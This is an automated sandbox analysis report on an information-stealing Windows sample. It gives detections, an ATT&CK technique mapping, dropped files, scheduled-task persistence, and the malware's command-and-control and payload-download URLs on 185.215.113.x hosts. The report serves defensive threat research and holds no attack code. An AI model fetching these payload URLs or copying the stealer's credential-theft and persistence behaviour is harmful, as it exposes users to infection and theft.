Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C61C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C030 sqlite3_bind_parameter_count,	0_2_6C61C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6160B0 listen,WSAGetLastError,	0_2_6C6160B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A22D0 sqlite3_bind_blob,	0_2_6C5A22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6163C0 PR_Bind,	0_2_6C6163C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	11 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\GCGHCBKFCF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\GCGHCBKFCF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://185.215.113.206/68b591d6548ec281/mozglue.dllN	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpbr	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe#	100%	Avira URL Cloud	malware
http://185.215.113.206667a4575905acade638069a92d17dc9f4fa8303beaac8eb89	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll$	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpAUr	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpJr	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpSU	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllb	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllp	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpO#	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php~r	100%	Avira URL Cloud	malware
http://185.215.113.43/FX	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpDE	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll$	19%	Virustotal		Browse
http://185.215.113.16/mine/random.exe#	19%	Virustotal		Browse
http://185.215.113.206/68b591d6548ec281/mozglue.dllN	20%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpbr	18%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	142.250.181.142	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
www.google.com	142.250.181.100	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/mozglue.dllN	file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpbr	skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
http://www.broofa.com	chromecache_105.4.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll$	file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
http://185.215.113.206667a4575905acade638069a92d17dc9f4fa8303beaac8eb89	file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_105.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.16/mine/random.exe#	file.exe, 00000000.00000002.2590242793.00000000018D6000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.206/Z	file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
https://apis.google.com	chromecache_105.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpAUr	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpJr	skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2620728498.000000001DC79000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2626962534.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2627816247.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpSU	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllb	file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php0	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_105.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllp	file.exe, 00000000.00000002.2590242793.0000000001856000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpO#	skotes.exe, 00000011.00000002.3293653254.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php~r	skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
http://185.215.113.43/FX	skotes.exe, 00000011.00000002.3293653254.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpDE	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2623391464.0000000023DD1000.00000004.00000020.00020000.00000000.sdmp, HJJJDAEGIDHCBFHJJJEG.0.dr	false		high
https://support.mozilla.org	BFBGHDGCFHIDBGDGIIIEHIJDAF.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2588399898.0000000000E54000.00000040.00000001.01000000.00000003.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2226451122.00000000018B2000.00000004.00000020.00020000.00000000.sdmp, AFCBKFHJ.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.142	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570530
Start date and time:	2024-12-07 08:42:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/57@6/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.46, 172.217.21.35, 64.233.162.84, 172.217.17.78, 172.217.19.202, 172.217.19.234, 142.250.181.42, 172.217.19.170, 142.250.181.106, 216.58.208.234, 142.250.181.138, 172.217.17.74, 172.217.17.42, 199.232.210.172, 142.250.181.74, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target file.exe, PID 828 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:43:32	API Interceptor	164x Sleep call for process: file.exe modified
02:45:01	API Interceptor	47x Sleep call for process: skotes.exe modified
08:43:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	http://liathletic.com	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	https://m.frownpasture.top/xqbgOoR7LyCdyD4DEHLii/a8f4AAdjCXhECXlkXzJZXUg0VwwMXxcvBW8NcRstA0McXyNaQkY?_t=1733539511823#	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBKFHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBGHDGCFHIDBGDGIIIEHIJDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
